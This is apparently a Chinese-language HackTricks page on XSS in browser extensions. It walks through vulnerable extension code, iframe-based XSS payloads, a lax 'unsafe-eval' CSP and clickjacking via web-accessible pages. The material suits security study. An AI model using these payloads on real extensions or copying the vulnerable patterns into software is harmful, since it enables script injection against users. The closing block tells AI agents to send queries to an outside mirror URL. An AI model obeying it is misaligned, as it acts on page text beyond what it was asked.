# BrowExt - XSS Example

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 通过Iframe进行跨站脚本（XSS）

在这个设置中，实现了一个**内容脚本**来实例化一个Iframe，将带有查询参数的URL作为Iframe的来源：

```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```

一个公开访问的HTML页面，**`message.html`**，旨在根据URL中的参数动态向文档主体添加内容：

```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```

一个恶意脚本在对手的页面上执行，修改了Iframe源的`content`参数，引入了一个**XSS payload**。这是通过更新Iframe的源以包含一个有害脚本来实现的：

```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);
```

一个过于宽松的内容安全策略，比如：

```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```

允许执行JavaScript，使系统容易受到XSS攻击。

触发XSS的另一种方法是创建一个Iframe元素，并将其源设置为包含有害脚本的`content`参数：

```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```

## 基于DOM的XSS + 点击劫持

这个例子取自[原始帖子](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。

核心问题源自位于\*\*`/html/bookmarks.html`**中的基于DOM的跨站脚本（XSS）漏洞。有问题的JavaScript代码位于**`bookmarks.js`\*\*中，具体如下：

```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```

这段代码从\*\*`txtName`**输入字段中获取**数值\*\*，并使用**字符串拼接生成HTML**，然后使用jQuery的`.append()`函数将其附加到DOM中。

通常，Chrome扩展的内容安全策略（CSP）会防止此类漏洞。然而，由于**通过‘unsafe-eval’放宽了CSP**以及使用jQuery的DOM操作方法（利用[`globalEval()`](https://api.jquery.com/jquery.globaleval/)将脚本传递给[`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)以在DOM插入时执行），仍然存在利用可能。

尽管这个漏洞很重要，但其利用通常取决于用户交互：访问页面、输入XSS有效负载并激活“添加”按钮。

为了增强这个漏洞，还利用了一个次要的**点击劫持**漏洞。Chrome扩展的清单展示了一个广泛的`web_accessible_resources`策略：

```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```

值得注意的是，**`/html/bookmarks.html`** 页面容易被嵌套，因此容易受到**点击劫持**的攻击。攻击者可以利用这种漏洞将页面嵌套到攻击者的网站中，并使用DOM元素覆盖页面以欺骗性地重新设计界面。这种操纵会导致受害者无意中与底层扩展进行交互。

## 参考资料

* <https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/>
* <https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
